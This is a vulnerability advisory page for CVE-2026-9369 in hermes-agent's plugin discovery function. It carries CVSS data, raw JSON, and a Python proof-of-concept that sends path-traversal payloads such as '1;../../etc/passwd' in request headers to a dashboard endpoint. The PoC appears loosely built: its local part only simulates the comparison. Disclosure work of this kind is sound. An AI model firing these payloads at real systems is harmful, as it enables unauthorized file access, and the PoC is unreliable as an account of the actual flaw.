Security Vulnerability Report
中文
CVE-2026-9369 CVSS 5.3 MEDIUM

CVE-2026-9369

Published: 2026-05-24 09:16:33
Last Modified: 2026-05-26 19:50:22

Description

A security flaw has been discovered in NousResearch hermes-agent 2026.4.23. Affected is the function _discover_dashboard_plugins of the file hermes_cli/web_server.py of the component CLI web-dashboard Interface. Performing a manipulation of the argument HERMES_ENABLE_PROJECT_PLUGINS results in incorrect comparison. The attack is only possible with local access. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

NousResearch hermes-agent <= 2026.4.23

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-9369 PoC - hermes-agent parameter injection # Target: NousResearch hermes-agent 2026.4.23 # Component: hermes_cli/web_server.py # Function: _discover_dashboard_plugins import os import sys import requests def exploit_cve_2026_9369(target_url, malicious_plugin_path): """ Exploit for CVE-2026-9369 Manipulate HERMES_ENABLE_PROJECT_PLUGINS parameter to bypass comparison """ headers = { 'X-Hermes-Plugin-Enable': malicious_plugin_path, 'HERMES_ENABLE_PROJECT_PLUGINS': '1;../../etc/passwd' # Injection attempt } # Target the web dashboard interface target = f"{target_url}/api/dashboard/plugins/discover" try: response = requests.get(target, headers=headers, timeout=10) print(f"[*] Request sent to {target}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") # Check for successful exploitation indicators if response.status_code == 200 and 'plugin' in response.text.lower(): print("[+] Potential exploitation successful - unauthorized plugin access") return True except Exception as e: print(f"[-] Error: {e}") return False def local_exploit(): """ Local exploitation via environment variable manipulation """ # Set malicious environment variable os.environ['HERMES_ENABLE_PROJECT_PLUGINS'] = '../../malicious/plugin' # Trigger the vulnerable function # This would be done by calling the hermes-cli command print("[*] Setting HERMES_ENABLE_PROJECT_PLUGINS to path traversal payload") print("[*] Invoking _discover_dashboard_plugins function") # Simulate the vulnerable comparison enable_plugins = os.environ.get('HERMES_ENABLE_PROJECT_PLUGINS', '') if enable_plugins != '0' and enable_plugins != 'false': print("[+] Comparison bypassed - parameter accepted") return True return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python3 cve-2026-9369.py <target_url>") sys.exit(1) target = sys.argv[1] exploit_cve_2026_9369(target, '../../etc/passwd')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9369", "sourceIdentifier": "[email protected]", "published": "2026-05-24T09:16:33.140", "lastModified": "2026-05-26T19:50:21.747", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in NousResearch hermes-agent 2026.4.23. Affected is the function _discover_dashboard_plugins of the file hermes_cli/web_server.py of the component CLI web-dashboard Interface. Performing a manipulation of the argument HERMES_ENABLE_PROJECT_PLUGINS results in incorrect comparison. The attack is only possible with local access. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-697"}]}], "references": [{"url": "https://gist.github.com/YLChen-007/062b77ceac6aa9844842a616f5d2ef30", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/812230", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365332", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365332/cti", "source": "[email protected]"}]}}